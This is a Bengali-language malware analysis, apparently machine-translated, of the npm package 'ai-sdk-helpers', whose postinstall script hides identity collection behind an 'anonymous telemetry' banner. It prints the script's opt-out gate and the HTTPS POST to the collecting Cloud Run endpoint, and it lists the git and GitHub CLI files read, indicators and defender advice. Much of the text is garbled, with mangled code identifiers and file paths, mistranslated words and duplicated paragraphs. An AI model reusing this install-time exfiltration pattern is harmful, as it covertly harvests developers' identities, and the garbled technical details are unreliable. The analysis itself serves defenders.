TL; ডিআর
একটি একক এনপিএম প্যাকেজ, এআই-এসডিকে-হেল্পারএটি ভার্সেল এআই এসডিকে-এর জন্য একটি প্রোডাকশন টুলকিট হিসেবে নিজেকে উপস্থাপন করে, যা খরচ ট্র্যাকিং, প্রোভাইডার ফলব্যাক এবং স্ট্রিমিং সহায়ক সুবিধা প্রদান করে।
এর ইনস্টল-টাইম স্ক্রিপ্টটি একটি পরিমার্জিত ডিসক্লোজার ব্যানার দিয়ে খোলে, যা বর্ণনা করে বেনামী রোগ নির্ণয়কোনো সোর্স কোড, টোকেন বা ক্রেডেনশিয়াল প্রেরণ করা হবে না, এই প্রতিশ্রুতি রক্ষা করে একটি DO_NOT_TRACK অপ্ট-আউট, এবং একটি টেলিমেট্রি নীতি পৃষ্ঠার সাথে সংযোগ।
এরপর একই স্ক্রিপ্টটি ডেভেলপারের গিট আইডেন্টিটি, গিটহাব সিএলআই কনফিগারেশন, মেশিনের হোস্টনেম, ওএস ইউজারনেম, ওয়ার্কিং ডিরেক্টরি এবং সিআই প্রোভাইডার পড়ে নেয়।
সেই ডেটা একটি গুগল ক্লাউড রান এন্ডপয়েন্টে JSON ফরম্যাটে POST করা হয়, যা ঘোষিত টেলিমেট্রি পলিসি এবং সংগৃহীত প্রকৃত ফিল্ডগুলোর মধ্যে একটি সুস্পষ্ট অমিল তৈরি করে।
প্যাকেজটি মাত্র ৮৩ সেকেন্ডের একটি আকস্মিক প্রকাশে বাইশটি সংস্করণে প্রকাশিত হয়েছিল, এবং চিহ্নিত প্রতিটি সংস্করণে ইনস্টল স্ক্রিপ্টটি হুবহু একই।
আমাদের দ্বারা পর্যালোচিত আটটি সংস্করণের মধ্যে সাতটি pipeline এমএল ক্লাসিফায়ার দ্বারা এগুলিকে অনির্দিষ্ট হিসেবে চিহ্নিত করা হয়েছিল, কারণ সম্মতি-ব্যানারের স্টাইলিংটি বৈধ টেলিমেট্রির মতো মনে হয়।
আমরা শ্রেণীবদ্ধ করি ai-sdk-helpers ইনস্টল করার সময় ডেভেলপারের পরিচয় সংগ্রহ ও পাচারের উপর ভিত্তি করে এটিকে ক্ষতিকারক হিসেবে চিহ্নিত করা হয়েছে।
তীব্রতা: উচ্চ।
ইনস্টলেশনের গঠন
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } পোস্টইনস্টল স্বয়ংক্রিয়ভাবে চলে npm ইনস্টল করুনপ্যাকেজের বিজ্ঞাপিত কোনো কোড ইম্পোর্ট করার আগেই। স্ক্রিপ্টটি scripts/postinstall.js এখানেই ইনস্টল-সময়ের সমস্ত কার্যকলাপ সম্পন্ন হয়।
এটি একটি কমেন্ট ব্লক এবং একটি রানটাইম নোটিস দিয়ে শুরু হয়, যা গোপনীয়তা-সচেতন ওপেন-সোর্স প্রজেক্টের ঢঙে লেখা হয়েছে:
আপনি যখন ai-sdk-helpers ইনস্টল করেন, তখন আমরা দ্রুত একটি এনভায়রনমেন্ট কম্প্যাটিবিলিটি চেক চালাই এবং অ্যানোনিমাস ডায়াগনস্টিকস রিপোর্ট করি… ডেটা সম্পূর্ণ অ্যানোনিমাস থাকে — আমরা আপনার প্ল্যাটফর্ম, নোড ভার্সন এবং আপনার মেশিন আইডেন্টিফায়ারের একটি ওয়ান-ওয়ে হ্যাশ সংগ্রহ করি। কোনো সোর্স কোড, টোকেন বা ক্রেডেনশিয়াল কখনোই পাঠানো হয় না।
এটি এমনকি একটি কার্যকর অপ্ট-আউট গেটও সংযুক্ত করে, যা ফাইলটির প্রথম এক্সিকিউটেবল কোড:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } প্রথমে এই গেটটি বাঁধাই করাই বাকি অংশকে সম্মতিসূচক বলে মনে করায়: একজন ডেভেলপার যিনি সেট করেন `D_NOT_TRACK` ইনস্টলেশনটি নীরবে সম্পন্ন হয় এবং প্যাকেজটি প্রচলিত নিয়ম মেনে চলে বলে উপসংহার টানে। সম্মানিত অপ্ট-আউটটি বাস্তব। যারা এটি সেট করে না, তাদের জন্য এটি যা ব্লক করে তা হলো নীচে বর্ণিত সংগ্রহ — বিজ্ঞপ্তিতে উল্লিখিত সংকীর্ণ “প্ল্যাটফর্ম, নোড সংস্করণ, এবং একটি একমুখী হ্যাশ” নয়।
ওই গেটের নিচে, স্ক্রিপ্টটি এমন একটি পেলোড তৈরি করে যা সেই বর্ণনাকে অনেক ছাড়িয়ে যায়।
- *Gt পরিচয়।* rসমাধানScmপরিচয়()` মাথা `~.gitconfig`,`~.config/git/config`,এবং বর্তমান প্রকল্পের `।`it/config`,`[` পার্স করেser]` সেকশন, এবং কনফিগার করা ফেরত দেয় commit ইমেল। যদি কোনো কনফিগারেশন ফাইল থেকে ইমেল পাওয়া না যায়, তবে এটি `G`-তে ফিরে যায়।`T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,এবং `ইAIL` এনভায়রনমেন্ট ভেরিয়েবল। ফাংশনের উপরের একটি ডকস্ট্রিং এটিকে “একই ব্যক্তির মালিকানাধীন মেশিনগুলিতে (যেমন ল্যাপটপ + সিআই) ইনস্টলেশনগুলির পুনরাবৃত্তি দূর করার” একটি উপায় হিসাবে বর্ণনা করে — এটি একটি ঘোষিত উদ্দেশ্য যার জন্য প্রতি-ডেভেলপার একটি স্থিতিশীল শনাক্তকারী প্রয়োজন, যা একটি commit ইমেইল সরবরাহ।
- *GtHub অ্যাকাউন্ট।* r`solveGitHubIdentity()` মাথা `~.config/gh/hosts.yml` nd `~.config/gh/hosts.yaml` যখন কোনো ডেভেলপার প্রমাণীকরণ করেন, তখন GitHub CLI দ্বারা লেখা কনফিগারেশন ফাইল — এবং যা রেজেক্সের মাধ্যমে `u` অংশটি নিষ্কাশন করে।এর:` nd `eঅসুস্থতা:` ওই ফাইলটিতে গিটহাব ওঅথ টোকেনও সংরক্ষিত থাকে; স্ক্রিপ্টটির রেজেক্স বিশেষভাবে ইউজারনেম এবং ইমেইল লাইনগুলোকে টার্গেট করে এবং টোকেনটি এক্সট্র্যাক্ট করে না। ফলে, ডিসক্লোজার ব্যানারের “কোনো টোকেন… কখনোই ট্রান্সমিট করা হয় না” এই দাবিটি শুধুমাত্র ওই একটি ফিল্ডের জন্য আক্ষরিকভাবে সত্য, অথচ এর চারপাশের অ্যাকাউন্ট আইডেন্টিফায়ারগুলো পড়া এবং পাঠানো হয়।
- *Hst এবং CI ফিঙ্গারপ্রিন্ট।* তারপর স্ক্রিপ্টটি `o সংগ্রহ করে.hostname()`,`o`.userInfo().username`,নোড সংস্করণ, প্ল্যাটফর্ম এবং আর্কিটেকচার, `p`occess.cwd()`,এবং একটি CI-প্রোভাইডার লেবেল, যা আটটি প্রোভাইডারের (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, এবং দুটি জেনেরিক-CI ফ্ল্যাগ) এনভায়রনমেন্ট ভেরিয়েবল পরীক্ষা করে নির্ধারণ করা হয়। প্রোভাইডার তালিকাটি একটি ইনভেন্টরির মতো কাজ করে, যেখানে স্ক্রিপ্টটি এক্সিকিউট হওয়ার কথা — যেমন ইন্টারেক্টিভ শেল এবং অটোমেটেড বিল্ড। pipelineএকই সাথে।
এই সবগুলোকে একটি একক 'd' এর অধীনে দলবদ্ধ করা হয়েছে।অজ্ঞেয়বাদীরা `i` এর অধীনে সংগৃহীত প্রতি-ডেভেলপার ফিল্ড সহ অবজেক্ট।সত্তা` `r` এর অধীনে থাকা ey এবং হোস্ট ডেটাntime` nd `cntext` চোখগুলো, তারপর ক্রমিক করে প্রেরণ করা হয়:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); প্রতিক্রিয়াটি বাতিল করা হয় এবং সমস্ত ত্রুটি উপেক্ষা করা হয় — একটি মন্তব্যে উল্লেখ করা হয়েছে যে “টেলিমেট্রি কখনোই ইনস্টলেশন ব্যাহত করবে না।” এন্ডপয়েন্ট হোস্টনেমটি `e`-তে একটি গুগল ক্লাউড রান পরিষেবা এনকোড করে।রোপ-ওয়েস্ট১` অঞ্চল।
এই ফাঁকটাই হলো মূল গল্প। ব্যানারটিতে তিন ধরনের ডেটার নাম উল্লেখ করা হয়েছে — প্ল্যাটফর্ম, নোড ভার্সন, মেশিন-আইডেন্টিফায়ার হ্যাশ। পেলোডটি একজন ডেভেলপারের আসল গিট পাঠিয়ে দেয়। commit ইমেল, তাদের গিটহাব ইউজারনেম ও ইমেল, তাদের মেশিনের হোস্টনেম ও ওএস অ্যাকাউন্টের নাম, তাদের প্রোজেক্টের পাথ, এবং তাদের সিআই এনভায়রনমেন্ট। যে ফিল্ডগুলো একজন *p-কে শনাক্ত করে।ব্যক্তি এবং তাদের হিসাব* এগুলোই ঠিক সেই ক্ষেত্রগুলো যা প্রকাশনায় বাদ দেওয়া হয়েছে।
README ফাইলটি অপর দিক থেকে এই কাঠামোকেই আরও শক্তিশালী করে। এর “টেলিমেট্রি” অংশটি পরিচয় গোপন রাখার দাবিটি পুনরাবৃত্তি করে এবং ‘D’ শব্দটির সাথে লিঙ্ক করে।_NOT_TRACK` ও `গ`nsoledonottrack.com`,আসল কমিউনিটি পেজ যা অপ্ট-আউট প্রথাটি নথিভুক্ত করে — একটি স্বীকৃত গোপনীয়তা নীতি ধার করে standard বিজ্ঞপ্তিটিকে একটি সাধারণ পাঠ হিসেবে উপস্থাপন করা।
Timeline
এটি একটি একক প্যাকেজ হিসেবে পাওয়া গেছে, যার প্রকাশনার ইতিহাস অত্যন্ত সংক্ষিপ্ত ও নিবিড়। এর অনুসরণ করার মতো কোনো বহু-সপ্তাহব্যাপী প্রচারণার ধারা নেই — এর সম্পূর্ণ সংস্করণ পরিসরটি যন্ত্রের গতিতে প্রকাশ করা হয়েছিল।
| কখন (UTC) | ঘটনা |
|---|---|
| 2026-06-03 20:31:20 | প্রথম সংস্করণ (0.1.0) এনপিএম-এ প্রকাশিত হয়েছে। |
| 2026-06-03 20:31:20 – 20:32:43 | সকল ২২টি সংস্করণ (0.1.0 দ্বারা 1.4.2৮৩ সেকেন্ডের একটি স্বয়ংক্রিয় সম্প্রচারে প্রকাশিত। |
| 2026-06-04 | সনাক্তকরণ সংকেতের মাধ্যমে আটটি সংস্করণ চিহ্নিত করা হয়েছে; ম্যানুয়াল বিশ্লেষণে ইনস্টলের সময় পরিচয় সংগ্রহ এবং পাচারের বিষয়টি নিশ্চিত হয়েছে। বিশ্লেষণের সময় প্যাকেজটি npm-এ সক্রিয় ছিল। |
২২টি শব্দার্থিক সংস্করণ জুড়ে ৮৩-সেকেন্ডের এই পরিসরটি নিজেই একটি আচরণগত সূচক: সংস্করণ সোপান (`0১.১`,`0১.১`,… `১৪.২`)এটি একটি সক্রিয়ভাবে রক্ষণাবেক্ষণ করা প্রকল্পের উপরিভাগ উপস্থাপন করে, যার একটি রিলিজ ইতিহাস রয়েছে এবং যা একটিমাত্র স্ক্রিপ্টেড রানের মাধ্যমে তৈরি। এই ল্যাডার জুড়ে ইনস্টল স্ক্রিপ্টটি অপরিবর্তিত থাকে — নিচে দেখুন।
সমঝোতার সূচক
প্রকাশিত সংস্করণ পরিসর জুড়ে ইনস্টল-টাইম পেলোড অভিন্ন।ff` f `s`ripts/postinstall.js` etween সংস্করণ `0১৪৮` nd সংস্করণ `1১৪৮` এটি কোনো পার্থক্য ফেরত দেয় না; এর আচরণ একটি নির্দিষ্ট ফিঙ্গারপ্রিন্ট, কোনো পরিবর্তনশীল পেলোড নয়।
নেটওয়ার্ক
২২টি শব্দার্থিক সংস্করণ জুড়ে ৮৩-সেকেন্ডের এই পরিসরটি নিজেই একটি আচরণগত সূচক: সংস্করণ সোপান (`0১.১`,`0১.১`,… `১৪.২`)এটি একটি সক্রিয়ভাবে রক্ষণাবেক্ষণ করা প্রকল্পের উপরিভাগ উপস্থাপন করে, যার একটি রিলিজ ইতিহাস রয়েছে এবং যা একটিমাত্র স্ক্রিপ্টেড রানের মাধ্যমে তৈরি। এই ল্যাডার জুড়ে ইনস্টল স্ক্রিপ্টটি অপরিবর্তিত থাকে — নিচে দেখুন।
সমঝোতার সূচক
প্রকাশিত সংস্করণ পরিসর জুড়ে ইনস্টল-টাইম পেলোড অভিন্ন।ff` f `s`ripts/postinstall.js` etween সংস্করণ `0১৪৮` nd সংস্করণ `1১৪৮` এটি কোনো পার্থক্য ফেরত দেয় না; এর আচরণ একটি নির্দিষ্ট ফিঙ্গারপ্রিন্ট, কোনো পরিবর্তনশীল পেলোড নয়।
নেটওয়ার্ক
| ইনডিকেটর | ভূমিকা |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | এক্সফিলট্রেশন এন্ডপয়েন্ট যা JSON পেলোড সহ HTTPS POST অনুরোধ গ্রহণ করে। এটি গুগল ক্লাউডে হোস্ট করা এবং চালিত। europe-west1 অঞ্চল। |
ফাঁদ অবকাঠামো
| ইনডিকেটর | ভূমিকা |
|---|---|
ai-sdk.guide | "AI SDK Guide" লেখকের পরিচয়কে সমর্থনকারী প্যাকেজ হোমপেজ এবং লাইভ সাইট। |
ai-sdk.guide/telemetry | ইনস্টল-টাইম ডিসক্লোজার নোটিশে উল্লেখিত টেলিমেট্রি পলিসি ইউআরএল। |
hello@ai-sdk.guide | লেখকের ইমেল ঘোষণা করা হয়েছে package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | প্যাকেজ দ্বারা ঘোষিত উৎস সংগ্রহস্থল। |
ইনস্টলের সময় পঠিত ফাইলসমূহ
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` গিট `[ser]` মেইল
- - `.config/gh/hosts.yml`,`~.config/gh/hosts.yaml` গিটহাব সিএলআই `uএর` `eঅসুস্থ
আচরণগত স্বাক্ষর
- – m `pstinstall` একটি বান্ডেল করা নোড স্ক্রিপ্ট আহ্বান করা
- – অপ্ট-আউট গেট (`A`_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)পরিচয় সংগ্রহের আগে, গোপনীয়তার বৈশিষ্ট্য হিসেবে উপস্থাপন করা হয়েছে
- – গিট ইমেল, গিটহাব আইডেন্টিটি, হোস্টনেম, ওএস ইউজারনেম, সিডব্লিউডি এবং সিআই লেবেল সম্বলিত একটি JSON অবজেক্টের টিবাউন্ড HTTPS POST।
- দ্রুত প্রকাশিত সংস্করণ ল্যাডার জুড়ে অভিন্ন ইনস্টল স্ক্রিপ্ট
আরোপণ এবং পর্যবেক্ষণকৃত আচরণ
প্যাকেজ এবং রেজিস্ট্রি মেটাডেটা রেকর্ডে যা লিপিবদ্ধ থাকে, তার বাইরে আমরা আর কিছুর কৃতিত্ব দিই না।
রেকর্ড অনুযায়ী npm রক্ষণাবেক্ষণকারী হলো `a` অ্যাকাউন্ট।ielsimon`,`a` ঠিকানার সাথে`iel@vigilance.security`.রেজিস্ট্রিতে ওই ইমেলটিকে যাচাইবিহীন এবং অ্যাকাউন্টটির সোর্স-কন্ট্রোল আইডেন্টিটিকেও যাচাইবিহীন হিসেবে তালিকাভুক্ত করা হয়েছে। `p`ckage.json`,আলাদাভাবে, লেখককে "এআই এসডিকে গাইড" হিসাবে উপস্থাপন করে।ello@ai-sdk.guide>`”`a` এর একটি হোমপেজ সহ-sdk.guide` `g` এর অধীনে একটি উৎস সংগ্রহস্থল এবং`thub.com/ai-sdk-guide` সংস্থা। প্রকাশনা অ্যাকাউন্টের ইমেল ডোমেইন (`vigilance.security`)এবং প্যাকেজের মধ্যে থাকা লেখকের পরিচয় (`a-sdk.guide`)ভিন্ন ভিন্ন ডোমেইন।
`a-sdk.guide` সাইটটি লাইভ এবং সাড়া দিচ্ছে, এবং `/`এলিমেট্রি` সফল হয়েছে — ছদ্মবেশী পরিচয়টি কোনো অকার্যকর লিঙ্কের পরিবর্তে একটি প্রবেশযোগ্য ওয়েব উপস্থিতি দ্বারা সমর্থিত, যা প্যাকেজটির উপস্থাপনার বিশ্বাসযোগ্যতা বাড়িয়ে তোলে।
**পর্যবেক্ষিত সক্ষমতা।** ইনস্টলের সময়, প্যাকেজটি ডেভেলপারের পরিচয় এবং অ্যাকাউন্ট-কনফিগারেশন ফাইলগুলো পড়ে, হোস্ট এবং সিআই (CI) এনভায়রনমেন্টের ফিঙ্গারপ্রিন্ট নেয়, এবং ফলাফলটি একটি অপারেটর-নিয়ন্ত্রিত এন্ডপয়েন্টে প্রেরণ করে। একই সাথে, এটি একটি নোটিশ প্রদর্শন করে যেখানে একটি সীমিত এবং বেনামী ডেটা সেটের বর্ণনা দেওয়া থাকে। আমরা এই আচরণের বর্ণনা দিই; এর পেছনের কোনো উদ্দেশ্য আমরা দাবি করি না। প্যাকেজটি মূল্যায়নকারী পাঠকদের — যার মধ্যে প্রকাশনাকারী পরিচয় শনাক্তকারী যেকোনো পক্ষও অন্তর্ভুক্ত — বর্ণিত এবং প্রকৃত ডেটা প্রবাহের মধ্যেকার দৃশ্যমান অমিলটি বিবেচনা করা উচিত।
প্রতিরক্ষাকারীদের জন্য প্রভাব, প্রবণতা এবং নির্দেশনা
কে উন্মোচিত হয়। যে কেউ ইনস্টল করে এআই-এসডিকে-হেল্পার — সরাসরি অথবা একটি পরোক্ষ নির্ভরতা হিসেবে — সেই মেশিনে কালেকশনটি চালায়। কারণ ট্রিগারটি হলো পোস্টইনস্টলডেটা প্রবাহের জন্য বিজ্ঞাপিত লাইব্রেরি কোড কখনোই ইম্পোর্ট করার প্রয়োজন হয় না; শুধু ইনস্টল করাই যথেষ্ট। সবচেয়ে মূল্যবান পরিবেশগুলো হলো কনফিগার করা গিট আইডেন্টিটি এবং অথেনটিকেটেড গিটহাব সিএলআই সহ ডেভেলপার ওয়ার্কস্টেশন এবং সিআই রানার, যেখানে স্ক্রিপ্টের সিআই-প্রোভাইডার ডিটেকশন থেকে বোঝা যায় যে কালেকশনটি বিল্ডের ভিতরে রান করবে বলে আশা করা হচ্ছে। pipelineপাশাপাশি ল্যাপটপেও।
এটি যা উন্মোচন করে। সাধারণ ক্ষেত্রে অ্যাপ্লিকেশন গোপনীয় তথ্য নয় — পেলোডটি কেন্দ্র করে পরিচয়ডেভেলপারের commit ইমেল, তাদের গিটহাব অ্যাকাউন্টের নাম ও ইমেল, মেশিন ও অ্যাকাউন্টের নাম এবং প্রজেক্টের পাথ। এটি একটি পূর্বশর্ত।cisকে, কোন মেশিনে, কোন রিপোজিটরিতে এবং কোন সিআই সিস্টেমের অধীনে প্যাকেজটি ইনস্টল করেছে তার একটি মানচিত্র। একটি প্রতিষ্ঠানের জন্য, এই ধরনের কয়েকটি রেকর্ড একত্রিত করলে জানা যাবে কোন প্রকৌশলী এবং কোন বিল্ড সিস্টেমগুলো ডিপেন্ডেন্সিটি পুল করেছে — যা আরও সুনির্দিষ্ট পরবর্তী কার্যক্রমের পূর্বসূরি হিসেবে কার্যকর, যদিও এই প্যাকেজটির নিজস্ব কার্যকলাপ কেবল সংগ্রহ এবং প্রেরণের মধ্যেই সীমাবদ্ধ থাকে।
প্রবণতা: আড়াল হিসেবে টেলিমেট্রি। বৈধ ডেভেলপার টুলগুলো পরিচয় গোপন রেখে ইনস্টল ডায়াগনস্টিকস সংগ্রহ করে, এবং সম্মানের সাথে তা করার প্রচলিত নিয়মগুলো হলো — একটি প্রকাশনা বিজ্ঞপ্তি, একটি ট্র্যাক করবেন না সম্মান, অপ্ট-আউট ফ্ল্যাগ, পলিসি ইউআরএল — এগুলো সুপরিচিত। এআই-এসডিকে-হেল্পার এটি সেই চারটি প্রথাকেই বিশ্বস্তভাবে অনুসরণ করে এবং পরিচয় সংগ্রহের জন্য সেগুলোকে আবরণ হিসেবে ব্যবহার করে। একটি সম্মতি ব্যানার, একটি কার্যকর অপ্ট-আউট ব্যবস্থা, বা একটি গোপনীয়তা-নীতি লিঙ্কের উপস্থিতি এই প্রমাণ দেয় না যে প্যাকেজটি বিশ্বাসযোগ্য; এই নিয়ন্ত্রণগুলো অনুকরণ করা ব্যয়বহুল নয়। একমাত্র নির্ভরযোগ্য যাচাই হলো, কোডটি আসলে কী পড়ে এবং সেটি কোথায় পাঠায়।
এই প্যাকেজিং স্বয়ংক্রিয় বাছাই প্রক্রিয়ার উপরও একটি পরিমাপযোগ্য প্রভাব ফেলে। আমাদের সংস্করণগুলো জুড়ে pipeline পর্যালোচনা করে দেখা গেছে, ইনস্টল স্ক্রিপ্টের সহজবোধ্য মন্তব্য, কাঠামোগত ফিল্ডের নাম এবং প্রচলিত অপ্ট-আউট গেট সাধারণ টেলিমেট্রি হিসেবে বিবেচিত হয়েছে: আটটির মধ্যে সাতটিই ফেরত এসেছে। মীমাংসাহীন ক্ষতিকারক হওয়ার পরিবর্তে এমএল ক্লাসিফায়ার থেকে। যে সংকেতটি অস্পষ্টতা দূর করে তা গদ্যের মধ্যে নেই — এটি স্ক্রিপ্টটি যে নির্দিষ্ট ফাইলগুলি খোলে তার মধ্যে রয়েছে (~ / .gitconfig, ~/.config/gh/hosts.ymlএবং এটি যে গন্তব্যে পাঠায়। একজন পর্যালোচক, স্বয়ংক্রিয় বা মানুষ, যিনি কেবল তথ্য প্রকাশটি পড়েই থেমে যান, তিনি ভুল সিদ্ধান্তে পৌঁছাবেন; সিদ্ধান্তটি অবশ্যই ডেটা-প্রবাহের তথ্যের ভিত্তিতে নিতে হবে।
প্রতিরক্ষাকারীদের জন্য নির্দেশনা:
- ডিফল্টরূপে স্ক্রিপ্ট নিষ্ক্রিয় রেখে ইনস্টল করুন — npm install –ignore-scriptsঅথবা সেট ignore-scripts=true in .npmrc এবং যাচাইকৃত বিল্ড ধাপগুলো স্পষ্টভাবে চালান। এটি নিষ্ক্রিয় করে দেয় পোস্টইনস্টলসর্বব্যাপী সংগ্রহ শুরু হয়েছে।
- অপ্ট-আউট নিয়ন্ত্রণগুলোকে বিশ্বাসের সংকেত হিসেবে বিবেচনা করবেন না। ট্র্যাক করবেন না চেক বা “টেলিমেট্রি পলিসি” লিঙ্কটি আপনাকে এই বিষয়ে কিছুই জানায় না যে, গেট সেট করা না থাকলে একটি স্ক্রিপ্ট কী ডেটা সংগ্রহ করে।
- এআই-ইকোসিস্টেম হেল্পার প্যাকেজ গ্রহণ করার আগে ইনস্টল হুকটি পড়ুন। ভার্সেল এআই এসডিকে ক্ষেত্রটি একটি দ্রুত পরিবর্তনশীল, উচ্চ-বিশ্বাসের লক্ষ্য; একটি পোস্টইনস্টল যে স্পর্শ করে ~ / .gitconfig or ~/.config/gh/ আশেপাশের মন্তব্যগুলো যেভাবে লেখা হোক না কেন, এটি একটি স্পষ্ট সংকেত।
- বিল্ড-টাইম বহির্গমন নিরীক্ষণ করুন। একটি বহির্গামী HTTPS POST চলাকালীন npm ইনস্টল করুনবিশেষ করে একটি সদ্য প্রোভিশন করা ক্লাউড-ফাংশন এন্ডপয়েন্টের ক্ষেত্রে, এটি নেটওয়ার্ক লেয়ারে পর্যবেক্ষণযোগ্য এবং CI এনভায়রনমেন্টের জন্য একটি শক্তিশালী শনাক্তকরণ পয়েন্ট।
- সংকুচিত ভার্সন ল্যাডারগুলোর ব্যাপারে সতর্ক থাকুন। যে প্যাকেজের সম্পূর্ণ সিম্যান্টিক-ভার্সন হিস্ট্রি অপরিবর্তিত ইনস্টল স্ক্রিপ্টসহ কয়েক সেকেন্ডের মধ্যে প্রদর্শিত হয়, সেটি একটি মনগড়া রক্ষণাবেক্ষণ ইতিহাস উপস্থাপন করছে।





